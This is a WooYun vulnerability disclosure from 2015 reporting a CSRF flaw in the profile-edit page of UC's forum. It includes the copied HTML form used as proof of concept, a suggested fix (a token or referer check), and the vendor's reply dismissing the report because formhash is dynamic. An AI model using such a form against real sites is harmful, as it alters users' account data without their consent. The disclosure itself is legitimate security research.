当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109911

漏洞标题:uc某站csrf修改用户信息

相关厂商:UC Mobile

漏洞作者: 路人甲

提交时间:2015-04-24 10:47

修复时间:2015-04-24 13:08

公开时间:2015-04-24 13:08

漏洞类型:CSRF

危害等级:低

自评Rank:1

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

POST类型,无token,无referer人证.

详细说明:

http://bbs.uc.cn/home.php?mod=spacecp
修改资料处

漏洞证明:

<form  target="frame_profile" enctype="multipart/form-data" method="post" action="http://bbs.uc.cn/home.php?mod=spacecp&ac=profile&op=base">
<input type="hidden" name="formhash" value="6a12255c">
<table cellspacing="0" cellpadding="0" id="profilelist" class="tfm">
<tbody><tr>
<th>用户名</th>
<td>assfffg</td>
<td>&nbsp;</td>
</tr><tr id="tr_realname">
<th id="th_realname">真实姓名</th>
<td id="td_realname">
<input type="text" tabindex="1" value="sss" class="px" id="realname" name="realname"><div id="showerror_realname" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[realname]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_gender">
<th id="th_gender">性别</th>
<td id="td_gender">
<select tabindex="1" class="ps" id="gender" name="gender"><option value="0">保密</option><option selected="selected" value="1">男</option><option value="2">女</option></select><div id="showerror_gender" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[gender]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_birthday">
<th id="th_birthday">生日</th>
<td id="td_birthday">
<select tabindex="1" onchange="showbirthday();" class="ps" id="birthyear" name="birthyear"><option value="">年</option><option selected="" value="2015">2015</option><option value="2014">2014</option><option value="2013">2013</option><option value="2012">2012</option><option value="2011">2011</option><option value="2010">2010</option><option value="2009">2009</option><option value="2008">2008</option><option value="2007">2007</option><option value="2006">2006</option><option value="2005">2005</option><option value="2004">2004</option><option value="2003">2003</option><option value="2002">2002</option><option value="2001">2001</option><option value="2000">2000</option><option value="1999">1999</option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option></select>&nbsp;&nbsp;<select tabindex="1" onchange="showbirthday();" class="ps" id="birthmonth" name="birthmonth"><option value="">月</option><option selected="" value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option><option value="9">9</option><option value="10">10</option><option value="11">11</option><option value="12">12</option></select>&nbsp;&nbsp;<select tabindex="1" class="ps" id="birthday" name="birthday"><option value="">日</option><option value="1">1</option><option selected="" value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option><option value="7">7</option><option value="8">8</option><option value="9">9</option><option value="10">10</option><option value="11">11</option><option value="12">12</option><option value="13">13</option><option value="14">14</option><option value="15">15</option><option value="16">16</option><option value="17">17</option><option value="18">18</option><option value="19">19</option><option value="20">20</option><option value="21">21</option><option value="22">22</option><option value="23">23</option><option value="24">24</option><option value="25">25</option><option value="26">26</option><option value="27">27</option><option value="28">28</option><option value="29">29</option><option value="30">30</option><option value="31">31</option></select><div id="showerror_birthday" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[birthday]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_birthcity">
<th id="th_birthcity">出生地</th>
<td id="td_birthcity">
天津市&nbsp;(<a onclick="showdistrict('birthdistrictbox', ['birthprovince', 'birthcity', 'birthdist', 'birthcommunity'], 4, '', 'birth'); return false;" href="javascript:;">修改</a>)<p id="birthdistrictbox"></p><div id="showerror_birthcity" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[birthcity]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_residecity">
<th id="th_residecity">居住地</th>
<td id="td_residecity">
天津市&nbsp;(<a onclick="showdistrict('residedistrictbox', ['resideprovince', 'residecity', 'residedist', 'residecommunity'], 4, '', 'reside'); return false;" href="javascript:;">修改</a>)<p id="residedistrictbox"></p><div id="showerror_residecity" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[residecity]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_affectivestatus">
<th id="th_affectivestatus">情感状态</th>
<td id="td_affectivestatus">
<input type="text" tabindex="1" value="s" class="px" id="affectivestatus" name="affectivestatus"><div id="showerror_affectivestatus" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[affectivestatus]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_lookingfor">
<th id="th_lookingfor">交友目的</th>
<td id="td_lookingfor">
<input type="text" tabindex="1" value="s" class="px" id="lookingfor" name="lookingfor"><div id="showerror_lookingfor" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[lookingfor]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_bloodtype">
<th id="th_bloodtype">血型</th>
<td id="td_bloodtype">
<select tabindex="1" class="ps" id="bloodtype" name="bloodtype"><option value="A">A</option><option selected="selected" value="B">B</option><option value="AB">AB</option><option value="O">O</option><option value="其它">其它</option></select><div id="showerror_bloodtype" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[bloodtype]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr id="tr_field1">
<th id="th_field1">手机型号</th>
<td id="td_field1">
<input type="text" tabindex="1" value="a" class="px" id="field1" name="field1"><div id="showerror_field1" class="rq mtn"></div><p class="d"></p></td>
<td class="p">
<select name="privacy[field1]">
<option selected="selected" value="0">公开</option>
<option value="1">好友可见</option>
<option value="3">保密</option>
</select>
</td>
</tr>
<tr>
<th>&nbsp;</th>
<td colspan="2">
<input type="hidden" value="true" name="profilesubmit">
<button class="pn pnc" value="true" id="profilesubmitbtn" name="profilesubmitbtn" type="submit"><strong>保存</strong></button>
<span class="rq" id="submit_result"></span>
</td>
</tr>
</tbody></table>
</form>


修复方案:

token或者判断referer

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-24 13:08

厂商回复:

白帽子:您好!由于表单中的formhash是动态的而且还有时效性,首先要拿到用户的formhash才行,CSRF被利用的条件比较高,因此暂时忽略该漏洞,非常感谢关心UC安全!

最新状态:

暂无